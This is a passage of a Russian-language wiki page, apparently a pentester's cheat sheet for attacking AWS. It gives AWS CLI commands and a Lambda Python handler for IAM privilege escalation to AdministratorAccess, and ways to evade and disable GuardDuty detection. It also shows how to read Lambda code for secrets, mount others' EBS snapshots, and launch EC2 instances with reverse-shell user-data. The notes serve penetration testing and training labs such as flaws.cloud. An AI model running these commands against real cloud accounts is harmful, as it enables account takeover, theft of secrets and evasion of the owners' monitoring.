&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой роли.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать административную политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.&lt;br /&gt;
&lt;br /&gt;
Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание политики&lt;br /&gt;
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default&lt;br /&gt;
# Установка политики по умолчанию.&lt;br /&gt;
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить политику к пользователю. Если существует политика, дающая админские права - повышение.&lt;br /&gt;
&lt;br /&gt;
== AWS Shield ==&lt;br /&gt;
&lt;br /&gt;
Сервис для защиты от DDoS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Cognito ==&lt;br /&gt;
&lt;br /&gt;
Позволяет быстро и просто добавлять возможности регистрации, авторизации и контроля доступа пользователей в мобильные и интернет-приложения.&lt;br /&gt;
&lt;br /&gt;
=== Основное ===&lt;br /&gt;
&lt;br /&gt;
Cognito отвечает за следующие действия:&lt;br /&gt;
&lt;br /&gt;
* Регистрация пользователя (email + пароль)&lt;br /&gt;
&lt;br /&gt;
* Авторизация пользователя&lt;br /&gt;
&lt;br /&gt;
* Работа с сохраненной пользовательской информацией (устанавливается приложением)&lt;br /&gt;
&lt;br /&gt;
* Специальные действия (например, предоставление AWS-ключей)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Все общение идет по HTTP(s). Особенность системы в том, что Cognito общается как напрямую с чужим веб-сайтом, так и напрямую с клиентским браузером. То есть веб-сервер не знает, какой был передан пароль (в нормальной реализации).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример URL: cognito-identity.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
За действие отвечает HTTP-заголовок &amp;quot;X-Amz-Target&amp;quot;. В своем роде, это Endpoints API.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Какие параметры требуются для работы с ним:&lt;br /&gt;
&lt;br /&gt;
1. Название Endpoint'а  - &amp;quot;X-Amz-Target&amp;quot; заголовок&lt;br /&gt;
&lt;br /&gt;
2. Регион - &amp;quot;aws_project_region&amp;quot; параметр&lt;br /&gt;
&lt;br /&gt;
3. Session token - позже требуется для запросов.&lt;br /&gt;
&lt;br /&gt;
4. Identity Pool ID - нужен для запросов типа Identity Pools.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также пишут, что Cognito разделяется на две основные части:&lt;br /&gt;
&lt;br /&gt;
* User Pools  - для тех, кому нужна только регистрация и аутентификация&lt;br /&gt;
&lt;br /&gt;
* Identity Pools - для тех, кому еще и нужен доступ к AWS-ресурсам.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== X-Amz-Target (Endpoints) ===&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.UpdateUserAttributes ====&lt;br /&gt;
&lt;br /&gt;
У каждого пользователя есть поля, которые могут быть установлены самим пользователем (например, фамилия или дата рождения). Но также это могут быть и критичные поля, такие, как ID пользователя, администратор ли он и так далее.&lt;br /&gt;
&lt;br /&gt;
Также раньше можно было менять поле email'а пользователя (0day): https://infosecwriteups.com/hacking-aws-cognito-misconfiguration-to-zero-click-account-takeover-36a209a0bd8a&lt;br /&gt;
&lt;br /&gt;
Важно! Указано, что могут быть отправки СМС-уведомлений, так что тестировать осторожно.&lt;br /&gt;
&lt;br /&gt;
P.S. Мб неверно название Endpoint'а. Надо проверять.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить AWS ключи для работы с AWS-консолью. По-умолчанию отключено.&lt;br /&gt;
&lt;br /&gt;
Требуется aws_identity_pool_id.&lt;br /&gt;
&lt;br /&gt;
В некоторых примерах оно также было указано как &amp;quot;com.amazonaws.cognito.identity.model.AWSCognitoIdentityService.GetCredentialsForIdentity&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить OpenID токен, действительный на 10 минут.&lt;br /&gt;
&lt;br /&gt;
В примере требуется только &amp;quot;IdentityID&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdTokenForDeveloperIdentity ====&lt;br /&gt;
&lt;br /&gt;
Тоже позволяет получить OpenID токен, действительный на 10 минут. Но также создает новый &amp;quot;IdentityID&amp;quot; (если он не был указан).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Получить учетные данные пользователя по IdentityID: SecretKey, SessionToken, AccessKeyID.&lt;br /&gt;
&lt;br /&gt;
https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html&lt;br /&gt;
&lt;br /&gt;
== GuardDuty ==&lt;br /&gt;
&lt;br /&gt;
Сервис для детектирования атак используя машинное обучение.&lt;br /&gt;
&lt;br /&gt;
Для детекта использует следующие сервисы:&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
* VPC Flow Logs&lt;br /&gt;
* DNS Logs&lt;br /&gt;
* ...to be continued&lt;br /&gt;
&lt;br /&gt;
=== Обход защиты  ===&lt;br /&gt;
&lt;br /&gt;
Далее идут правила детекта и то, как их можно обойти.&lt;br /&gt;
&lt;br /&gt;
==== UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration ====&lt;br /&gt;
&lt;br /&gt;
Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).&lt;br /&gt;
&lt;br /&gt;
Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).&lt;br /&gt;
&lt;br /&gt;
Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы.&lt;br /&gt;
Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.&lt;br /&gt;
&lt;br /&gt;
Может быть для этого выгодно держать проксирующий сервер EC2.&lt;br /&gt;
&lt;br /&gt;
==== UserAgent rules ====&lt;br /&gt;
&lt;br /&gt;
Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. &lt;br /&gt;
Варианты:&lt;br /&gt;
&lt;br /&gt;
* Использовать утилиту pacu (уже есть смена User-Agent)&lt;br /&gt;
&lt;br /&gt;
* Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.&lt;br /&gt;
&lt;br /&gt;
=== Роли - Управление ===&lt;br /&gt;
&lt;br /&gt;
Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html&lt;br /&gt;
&lt;br /&gt;
==== guardduty:UpdateDetector ====&lt;br /&gt;
&lt;br /&gt;
Позволяет выключить GuardDuty (ну или редатировать правила):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty update-detector --detector-id &amp;lt;id of detector&amp;gt; --no-enable&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== guardduty:DeleteDetector ====&lt;br /&gt;
&lt;br /&gt;
Удалить правило детектирования:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty delete-detector --detector-id &amp;lt;id of detector&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STS (Security Token Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис, позволяющий запросить временные учетные данные с ограниченными  примилегиями для IAM-пользователей &lt;br /&gt;
&lt;br /&gt;
== KMS (Key Management Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.&lt;br /&gt;
&lt;br /&gt;
Администраторы амазона не смогут получить к ним доступ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ключи со временем обновляются:&lt;br /&gt;
&lt;br /&gt;
* Customers keys - раз в 365 дней&lt;br /&gt;
&lt;br /&gt;
* AWS keys - раз в 3 года.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Старые ключи также можно будет использовать для расшифровки.&lt;br /&gt;
&lt;br /&gt;
== CloudHSM (Hardware Security Module) ==&lt;br /&gt;
&lt;br /&gt;
Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению. &lt;br /&gt;
&lt;br /&gt;
Пишут, что устройство будет закреплено только за вами.&lt;br /&gt;
&lt;br /&gt;
Также можно получить доступ к CloudHSM-Instance по SSH.&lt;br /&gt;
&lt;br /&gt;
== Athena ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.&lt;br /&gt;
&lt;br /&gt;
Умеет работать с шифрованными S3 и сохранять шифрованный вывод.&lt;br /&gt;
&lt;br /&gt;
== EBS (Elastic Block Store) ==&lt;br /&gt;
&lt;br /&gt;
Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление сервисом ===&lt;br /&gt;
 &lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание Volume из snapshot'а (если требуется подключить snapshot)&lt;br /&gt;
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone&lt;br /&gt;
# Подключение Volume к виртуалке EC2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Далее идем на виртуалку и вводим команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Поиск Volume&lt;br /&gt;
lsblk&lt;br /&gt;
# Проверка есть ли на нем данные&lt;br /&gt;
sudo file -s /dev/xvdf&lt;br /&gt;
# форматировать образ под ext4 (если неподходящая файловая система)&lt;br /&gt;
sudo mkfs -t ext4 /dev/xvdf&lt;br /&gt;
# Создаем директорию куда примонтируем позже&lt;br /&gt;
sudo mkdir /tmp/newvolume&lt;br /&gt;
# Монтируем&lt;br /&gt;
sudo mount /dev/xvdf /tmp/newvolume/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Диск будет доступен на /tmp/newvolume.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Lambda ==&lt;br /&gt;
&lt;br /&gt;
Сервис для запуска своего кода в облаке.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:UpdateFunctionCode ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.&lt;br /&gt;
&lt;br /&gt;
Код функции:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
import boto3&lt;br /&gt;
def lambda_handler(event, context):&lt;br /&gt;
    client = boto3.client('iam')&lt;br /&gt;
    response = client.attach_user_policy(&lt;br /&gt;
    UserName='my_username',&lt;br /&gt;
    PolicyArn=&amp;quot;arn:aws:iam::aws:policy/AdministratorAccess&amp;quot;&lt;br /&gt;
    )&lt;br /&gt;
    return response&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Команды для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание функции&lt;br /&gt;
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py&lt;br /&gt;
# Запуск&lt;br /&gt;
aws lambda invoke --function-name my_function output.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:GetFunction ====&lt;br /&gt;
&lt;br /&gt;
Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.&lt;br /&gt;
&lt;br /&gt;
Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получить список функций&lt;br /&gt;
aws lambda list-functions --profile uploadcreds&lt;br /&gt;
# Получить информацию о Lambda-функции&lt;br /&gt;
aws lambda get-function --function-name &amp;quot;LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY&amp;quot; --query 'Code.Location' --profile uploadcreds&lt;br /&gt;
# Скачать исходный код по ссылке из предыдущего ответа&lt;br /&gt;
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Glue ==&lt;br /&gt;
&lt;br /&gt;
Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== glue:UpdateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# TODO: это не обновление параметров, надо обновить команду&lt;br /&gt;
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== glue:CreateDevEndpoint + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== S3 ==&lt;br /&gt;
&lt;br /&gt;
Файловое хранилище, доступное по http(s).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{bucket_name}.s3.amazonaws.com&lt;br /&gt;
https://s3.amazonaws.com/{bucket_name}/&lt;br /&gt;
&lt;br /&gt;
# US Standard&lt;br /&gt;
http://s3.amazonaws.com&lt;br /&gt;
# Ireland&lt;br /&gt;
http://s3-eu-west-1.amazonaws.com&lt;br /&gt;
# Northern California&lt;br /&gt;
http://s3-us-west-1.amazonaws.com&lt;br /&gt;
# Singapore&lt;br /&gt;
http://s3-ap-southeast-1.amazonaws.com&lt;br /&gt;
# Tokyo&lt;br /&gt;
http://s3-ap-northeast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Делать запросы можно:&lt;br /&gt;
&lt;br /&gt;
* В браузере - http(s)&lt;br /&gt;
&lt;br /&gt;
* Используя awscli:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В S3 может использоваться шифрование:&lt;br /&gt;
&lt;br /&gt;
* SSE-KMS - Server-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* SSE-C - Server-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
* CSE-KMS - Client-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* CSE-C - Client-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
=== Сбор информации ===&lt;br /&gt;
&lt;br /&gt;
==== Определение региона ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
$ dig flaws.cloud&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
flaws.cloud.    5    IN    A    52.218.192.11&lt;br /&gt;
&lt;br /&gt;
$ nslookup 52.218.192.11&lt;br /&gt;
Non-authoritative answer:&lt;br /&gt;
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# Итоговый URL будет:&lt;br /&gt;
flaws.cloud.s3-website-us-west-2.amazonaws.com&lt;br /&gt;
flaws.cloud.s3-us-west-2.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если будет некорректный регион - редиректнет на корректный.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Список файлов ====&lt;br /&gt;
&lt;br /&gt;
На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.&lt;br /&gt;
&lt;br /&gt;
Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== s3:ListBucket ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список файлов в S3-хранилище:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== s3:ListAllMyBuckets ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список всех S3-хранилищ, доступных мне:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3api list-buckets&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudFront ==&lt;br /&gt;
&lt;br /&gt;
Сервис сети доставки контента (CDN).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.cloudfront.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EC2 (Elastic Compute Cloud) ==&lt;br /&gt;
&lt;br /&gt;
EC2 (Amazon Elastic Compute Cloud) == VPS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Состоит из:&lt;br /&gt;
&lt;br /&gt;
* Instance - название виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* AMI (Amazon Machine Image) - образ виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
ec2-{ip-seperated}.compute-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSM Agent ===&lt;br /&gt;
&lt;br /&gt;
Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
Его тоже можно выбрать целью атаки&lt;br /&gt;
&lt;br /&gt;
==== MITM ====&lt;br /&gt;
&lt;br /&gt;
Есть возможность вклиниваться в общение от SSM-Агента локально.&lt;br /&gt;
&lt;br /&gt;
PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception&lt;br /&gt;
&lt;br /&gt;
Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== ec2:RunInstance + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
1. Запуск машины c новой прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
2. Подключение к ней&lt;br /&gt;
&lt;br /&gt;
3. Работа с прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
Создание EC2 с известным SSH-ключем:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - скрипт для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:AssociateIamInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
Позволяет менять IAM политики/роли/пользователей&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
См. EBS.&lt;br /&gt;
&lt;br /&gt;
==== ec2:DescribeSnapshots ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws  ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume ====&lt;br /&gt;
&lt;br /&gt;
Прзврояет примаунтить SnapShot, чтобы потом его изучить:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:* (Копирование EC2) ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скопировать EC2 используя AMI-images:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создаем новый AMI из Instance-ID&lt;br /&gt;
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name &amp;quot;AWS Audit&amp;quot; --description &amp;quot;Export AMI&amp;quot; --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
